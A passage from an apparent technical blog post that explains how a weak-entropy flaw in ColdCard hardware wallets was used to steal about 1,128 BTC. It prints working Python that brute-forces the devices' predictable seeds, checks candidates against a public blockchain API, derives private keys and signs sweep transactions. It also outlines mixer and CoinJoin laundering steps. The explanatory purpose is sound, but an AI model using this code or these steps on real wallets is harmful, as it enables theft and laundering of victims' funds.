<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Query the public blockchain as an oracle<span class="hx:absolute hx:-mt-20" id="4-query-the-public-blockchain-as-an-oracle"></span>
    <a href="#4-query-the-public-blockchain-as-an-oracle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True if the address has any UTXO according to mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;error querying&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.</p>
<p><strong>Non-hit example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker discards it and moves to the next candidate.</p>
<p><strong>Hit example</strong> (the real victim address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, before the sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>When <code>has_utxo</code> returns <code>True</code>, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.</p>
<h3>5. Enumerate candidates and hunt<span class="hx:absolute hx:-mt-20" id="5-enumerate-candidates-and-hunt"></span>
    <a href="#5-enumerate-candidates-and-hunt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    In practice the attacker uses GPUs/FPGAs and constrains the UID from
</span></span></span><span class="line"><span class="cl"><span class="s2">    the device serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
</span></span></span><span class="line"><span class="cl"><span class="s2">    the 2^32 possible secure-element reseed values.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;HIT!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  address :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Didactic example: use a known UID and a reduced Mk3 generator.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What they do:</strong> <code>brute_mk3</code> scans plausible states for Mk3; <code>brute_mk4</code> scans the 2^32 secure-element reseeds; <code>hunt</code> is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.</p>
<h2>After finding the collision<span class="hx:absolute hx:-mt-20" id="after-finding-the-collision"></span>
    <a href="#after-finding-the-collision" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When <code>hunt</code> returns, the attacker already has the <code>mnemonic</code> and the funded address. From there, they get the private key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Compressed WIF:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Address       :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Typical output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>That WIF is the private key in a format any wallet understands. From here the attacker can:</p>
<ol>
<li><strong>Import the seed or the WIF</strong> into Sparrow, Electrum, or another wallet.</li>
<li><strong>Rescan</strong> the blockchain to see all UTXOs for that seed.</li>
<li><strong>Build a transaction</strong> sending the funds to an address they control.</li>
<li><strong>Sign and broadcast</strong>.</li>
</ol>
<h3>Concrete sweep example<span class="hx:absolute hx:-mt-20" id="concrete-sweep-example"></span>
    <a href="#concrete-sweep-example" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the real case, the attacker swept the 29.89251877 BTC UTXO from address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># key recovered from the collided seed</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># fee in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># what is left for the attacker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># victim UTXO txid</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># attacker address</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A valid signed transaction looks like this (hex truncated):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.</p>
<p>In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.</p>
<h2>What this bug class means<span class="hx:absolute hx:-mt-20" id="what-this-bug-class-means"></span>
    <a href="#what-this-bug-class-means" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on <strong>entropy</strong>. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.</p>
<p>Three lessons:</p>
<ol>
<li><strong>Do not trust the appearance of randomness.</strong> Yasmarang&rsquo;s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.</li>
<li><strong>Hashing does not create entropy.</strong> Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most <code>2^40</code> possible hashes. The attacker enumerates inputs, not hashes.</li>
<li><strong>The blockchain is public and permanent.</strong> A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.</li>
</ol>
<h2>Can the attacker be caught?<span class="hx:absolute hx:-mt-20" id="can-the-attacker-be-caught"></span>
    <a href="#can-the-attacker-be-caught" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: &ldquo;can the person be traced?&rdquo;. The short answer is: <strong>maybe, but it is not trivial</strong>, and tracing is not the same as recovering the bitcoins.</p>
<p>Clay Garrett, who is among the people investigating the case, published <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">a thread on X</a> claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider&rsquo;s logs allegedly matched, with &ldquo;extraordinary specificity,&rdquo; the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.</p>
<p>What this means, <strong>if confirmed</strong>:</p>
<ul>
<li>A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.</li>
<li>If the account was KYC&rsquo;d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.</li>
<li>Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.</li>
<li>The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.</li>
</ul>
<p>So the thread points to a promising line of investigation, but <strong>it is an ongoing allegation</strong>, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.</p>
<h2>What the attacker has not done yet<span class="hx:absolute hx:-mt-20" id="what-the-attacker-has-not-done-yet"></span>
    <a href="#what-the-attacker-has-not-done-yet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.</p>
<h3>What a mixer is, and why it has not been used<span class="hx:absolute hx:-mt-20" id="what-a-mixer-is-and-why-it-has-not-been-used"></span>
    <a href="#what-a-mixer-is-and-why-it-has-not-been-used" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A <strong>mixer</strong> (or <strong>tumbler</strong>) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of &ldquo;where it came from.&rdquo;</p>
<p>The classic model is <strong>CoinJoin</strong>: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like <strong>Wasabi Wallet</strong> and <strong>Samourai Wallet</strong> implement CoinJoin automatically. Samourai even offered a service called <strong>Whirlpool</strong>, where UTXOs go through remix rounds that make tracing even harder.</p>
<p>Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like <strong>Bitcoin Fog</strong> and <strong>Helix</strong> historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.</p>
<p>In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims&rsquo; wallets into three large clusters and have not moved since. That can mean several things:</p>
<ol>
<li><strong>The attacker is still getting ready.</strong> Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.</li>
<li><strong>The attacker did not expect this much visibility.</strong> Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.</li>
<li><strong>The attacker may be negotiating a recovery.</strong> Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief&rsquo;s anonymity.</li>
</ol>
<h3>How one normally hides a haul like this<span class="hx:absolute hx:-mt-20" id="how-one-normally-hides-a-haul-like-this"></span>
    <a href="#how-one-normally-hides-a-haul-like-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If the operator really wants to make tracing difficult, the standard playbook involves several layers:</p>
<ol>
<li><strong>CoinJoin rounds.</strong> The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.</li>
